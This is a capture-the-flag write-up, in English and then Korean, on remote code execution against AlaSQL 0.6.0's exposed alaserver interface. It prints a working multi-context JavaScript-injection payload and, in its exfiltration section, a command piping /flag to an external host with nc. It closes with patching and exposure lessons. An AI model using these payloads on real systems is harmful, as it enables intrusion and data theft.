Dreamhack: web-alasql

Dreamhack: web-alasql

in

Almost No Code

The whole challenge is a Dockerfile and an entrypoint. There is no application source to read. The entrypoint just keeps AlaSQL’s bundled server alive:

#!/bin/bash
su node -s /bin/sh -c "while [ 1 ];do alaserver;done"

And the Dockerfile installs a specific old version, binds it to all interfaces, and drops a /flag binary we must execute:

FROM node:dubnium-alpine
ADD ./deploy /app
WORKDIR /app
RUN apk add --no-cache musl-dev gcc \
    && npm install -g alasql@0.6.0 \
    && sed -i 's/127.0.0.1/0.0.0.0/g' /usr/local/lib/node_modules/alasql/bin/alaserver.js \
    && mv docker-entrypoint.sh /usr/local/bin/ \
    && gcc /app/flag.c -o /flag \
    && chmod 111 /flag && rm /app/flag.c
ENTRYPOINT ["sh", "/usr/local/bin/docker-entrypoint.sh"]

So: AlaSQL 0.6.0, reachable over HTTP, and the goal is running /flag.

The alaserver HTTP Interface

alaserver is a testing helper documented in AlaSQL’s own README: it lets a browser fire SQL at the engine over a plain GET. The query goes in the URL, the result comes back as the body:

curl "http://host1.dreamhack.games:12389/?SELECT%20VALUE%20(2*2)"
# 4

That’s arbitrary AlaSQL execution reachable from outside. The remaining question is how far AlaSQL statements can reach into Node.

AlaSQL 0.6.0 -> RCE

AlaSQL compiles SQL down to JavaScript and evals it, and 0.6.0 has a well-known injection where SQL string context lets you splice raw JS into the generated function. The canonical escape grabs require off the main module and pulls in child_process:

new Function(
    'return this.process.mainModule.require'
)()('child_process').execSync(command)

The public PoC weaves that payload into several AlaSQL statements at once, so at least one lands regardless of which context the compiler picks (column name, value, back-quoted identifier, function call):

const genPayload = command => `
new Function('return this.process.mainModule.require')()('child_process').execSync(${JSON.stringify(command)})
`;

alasql(
    'CREATE table i_am_a_table;' +
    'INSERT INTO i_am_a_table VALUES (1337);' +
    `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
    `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
    `SELECT \`'+${genPayload(">&2 echo back-quote works too $(whoami)")}+'\` from i_am_a_table where 1;` +
    `SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);

Exfiltrating the Flag

/flag prints to stdout, but our injection runs server-side with no response channel back to us, so we pipe it to a listener we control. A nc binary happens to be present in the image, which is all we need:

CREATE table i_am_a_table;INSERT INTO i_am_a_table VALUES (1337);UPDATE i_am_a_table SET [0'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo UPDATE pwned $(whoami)")+']=42;SELECT * from i_am_a_table where whatever=['+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo SELECT pwned $(whoami)")+'];SELECT `'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo back-quote works too $(/flag | nc 211.250.216.249 5555)")+'` from i_am_a_table where 1;SELECT [whatever||'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo calling function pwned")+'||]('whatever');

URL-encode that into the ? query of the alaserver endpoint, with a listener waiting:

❯ nc -nlvp 5555
listening on [any] 5555 ...
connect to [172.30.1.96] from (UNKNOWN) [139.99.121.66] 33295
DH{REDACTED}

The SELECT context wrapping $(/flag | nc ...) fires, /flag runs, and its output lands on our netcat listener.

Takeaways

Two lessons stack here. First, “just a database engine” is a Node process. AlaSQL 0.6.0 compiles SQL to JS and evals it, so SQL injection is JS injection is RCE, and new Function('return this.process.mainModule.require')() is the standard escape out of any such sandbox. Second, a convenience feature (alaserver’s browser GET interface, rebound to 0.0.0.0) turned an internal testing tool into an unauthenticated public entrypoint. Pin dependencies to patched versions and never expose developer/testing servers on external interfaces.


코드가 거의 없음

문제 전체가 Dockerfile과 엔트리포인트뿐입니다. 읽을 애플리케이션 소스가 없거든요. 엔트리포인트는 AlaSQL 번들 서버를 계속 살려둘 뿐입니다.

#!/bin/bash
su node -s /bin/sh -c "while [ 1 ];do alaserver;done"

그리고 Dockerfile은 특정 구버전을 설치해 모든 인터페이스에 바인딩하고, 우리가 실행해야 할 /flag 바이너리를 심습니다.

FROM node:dubnium-alpine
ADD ./deploy /app
WORKDIR /app
RUN apk add --no-cache musl-dev gcc \
    && npm install -g alasql@0.6.0 \
    && sed -i 's/127.0.0.1/0.0.0.0/g' /usr/local/lib/node_modules/alasql/bin/alaserver.js \
    && mv docker-entrypoint.sh /usr/local/bin/ \
    && gcc /app/flag.c -o /flag \
    && chmod 111 /flag && rm /app/flag.c
ENTRYPOINT ["sh", "/usr/local/bin/docker-entrypoint.sh"]

정리하면: AlaSQL 0.6.0, HTTP로 접근 가능, 목표는 /flag 실행.

alaserver HTTP 인터페이스

alaserver는 AlaSQL README에도 문서화된 테스트용 도우미로, 브라우저가 평범한 GET으로 엔진에 SQL을 던질 수 있게 해줍니다. 쿼리는 URL에, 결과는 본문으로 돌아옵니다.

curl "http://host1.dreamhack.games:12389/?SELECT%20VALUE%20(2*2)"
# 4

외부에서 접근 가능한 임의 AlaSQL 실행입니다. 남은 질문은 AlaSQL 문이 Node까지 얼마나 뻗을 수 있느냐입니다.

AlaSQL 0.6.0 -> RCE

AlaSQL은 SQL을 JavaScript로 컴파일한 뒤 eval합니다. 0.6.0에는 SQL 문자열 컨텍스트에서 생성 함수 안으로 raw JS를 끼워 넣을 수 있는 잘 알려진 인젝션이 있습니다. 정석 이스케이프는 메인 모듈에서 require를 꺼내 child_process를 가져옵니다.

new Function(
    'return this.process.mainModule.require'
)()('child_process').execSync(command)

공개 PoC는 이 페이로드를 여러 AlaSQL 문에 동시에 엮어, 컴파일러가 어떤 컨텍스트(컬럼명, 값, 백쿼트 식별자, 함수 호출)를 고르든 최소 하나는 성립하게 합니다.

const genPayload = command => `
new Function('return this.process.mainModule.require')()('child_process').execSync(${JSON.stringify(command)})
`;

alasql(
    'CREATE table i_am_a_table;' +
    'INSERT INTO i_am_a_table VALUES (1337);' +
    `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
    `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
    `SELECT \`'+${genPayload(">&2 echo back-quote works too $(whoami)")}+'\` from i_am_a_table where 1;` +
    `SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);

플래그 유출

/flag는 stdout으로 출력하지만, 우리 인젝션은 서버 측에서 실행되며 우리에게 돌아오는 응답 채널이 없습니다. 그래서 우리가 제어하는 리스너로 파이프합니다. 마침 이미지 안에 nc 바이너리가 있어 그거면 충분합니다.

CREATE table i_am_a_table;INSERT INTO i_am_a_table VALUES (1337);UPDATE i_am_a_table SET [0'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo UPDATE pwned $(whoami)")+']=42;SELECT * from i_am_a_table where whatever=['+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo SELECT pwned $(whoami)")+'];SELECT `'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo back-quote works too $(/flag | nc 211.250.216.249 5555)")+'` from i_am_a_table where 1;SELECT [whatever||'+new Function('return this.process.mainModule.require')()('child_process').execSync(">&2 echo calling function pwned")+'||]('whatever');

이걸 alaserver 엔드포인트의 ? 쿼리에 URL 인코딩해 넣고 리스너를 대기시킵니다.

❯ nc -nlvp 5555
listening on [any] 5555 ...
connect to [172.30.1.96] from (UNKNOWN) [139.99.121.66] 33295
DH{REDACTED}

$(/flag | nc ...)를 감싼 SELECT 컨텍스트가 발동해 /flag가 실행되고, 그 출력이 우리 netcat 리스너에 도착합니다.

정리

교훈이 두 겹으로 쌓입니다. 첫째, “그냥 데이터베이스 엔진”도 결국 Node 프로세스입니다. AlaSQL 0.6.0은 SQL을 JS로 컴파일해 eval하므로, SQL 인젝션이 곧 JS 인젝션이고 곧 RCE입니다. 그리고 new Function('return this.process.mainModule.require')()는 그런 샌드박스를 빠져나오는 표준 이스케이프입니다. 둘째, 편의 기능(브라우저 GET용 alaserver를 0.0.0.0으로 재바인딩)이 내부 테스트 도구를 인증 없는 공개 진입점으로 바꿔놓았습니다. 의존성은 패치된 버전으로 고정하고, 개발/테스트 서버는 절대 외부 인터페이스에 노출하지 마세요.